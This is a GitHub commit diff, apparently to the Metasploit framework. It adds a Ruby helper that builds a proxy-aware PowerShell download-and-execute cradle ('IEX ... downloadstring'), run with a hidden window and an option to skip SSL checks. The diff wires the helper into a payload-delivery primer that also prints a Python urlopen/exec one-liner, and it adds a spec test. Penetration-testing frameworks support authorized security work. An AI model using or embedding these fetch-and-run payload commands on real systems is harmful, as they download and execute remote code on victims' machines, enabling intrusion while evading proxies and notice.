File tree Expand file tree Collapse file tree 3 files changed +27
-1
lines changed
modules/exploits/multi/script Expand file tree Collapse file tree 3 files changed +27
-1
lines changed Original file line number Diff line number Diff line change @@ -72,6 +72,22 @@ def self.get_last_login(user)
72
72
def self . ignore_ssl_certificate
73
73
'[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
74
74
end
75
+
76
+ #
77
+ # Use the default system web proxy and credentials to download a URL
78
+ # as a string and execute the contents as PowerShell
79
+ #
80
+ # @param url [String] string to download
81
+ #
82
+ # @return [String] PowerShell code to download a URL
83
+ def self . proxy_aware_download_and_exec_string ( url )
84
+ var = Rex ::Text . rand_text_alpha ( 1 )
85
+ cmd = "$#{ var } =new-object net.webclient;"
86
+ cmd << "$#{ var } .proxy=[Net.WebRequest]::GetSystemWebProxy();"
87
+ cmd << "$#{ var } .Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
88
+ cmd << "IEX $#{ var } .downloadstring('#{ url } ');"
89
+ cmd
90
+ end
75
91
end
76
92
end
77
93
end
Original file line number Diff line number Diff line change @@ -89,7 +89,8 @@ def primer
89
89
print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
90
90
when 'PSH'
91
91
ignore_cert = Rex ::Powershell ::PshMethods . ignore_ssl_certificate if ssl
92
- download_and_run = "#{ ignore_cert } IEX ((new-object net.webclient).downloadstring('#{ url } '))"
92
+ download_string = Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url )
93
+ download_and_run = "#{ ignore_cert } #{ download_string } "
93
94
print_line generate_psh_command_line (
94
95
noprofile : true ,
95
96
windowstyle : 'hidden' ,
Original file line number Diff line number Diff line change 40
40
script . include? ( 'Get-QADComputer' ) . should be_truthy
41
41
end
42
42
end
43
+ describe "::proxy_aware_download_and_exec_string" do
44
+ it 'should return some powershell' do
45
+ url = 'http://blah'
46
+ script = Rex ::Powershell ::PshMethods . proxy_aware_download_and_exec_string ( url )
47
+ script . should be
48
+ script . include? ( url ) . should be_truthy
49
+ script . downcase . include? ( 'downloadstring' ) . should be_truthy
50
+ end
51
+ end
43
52
end
44
53
You can’t perform that action at this time.
0 commit comments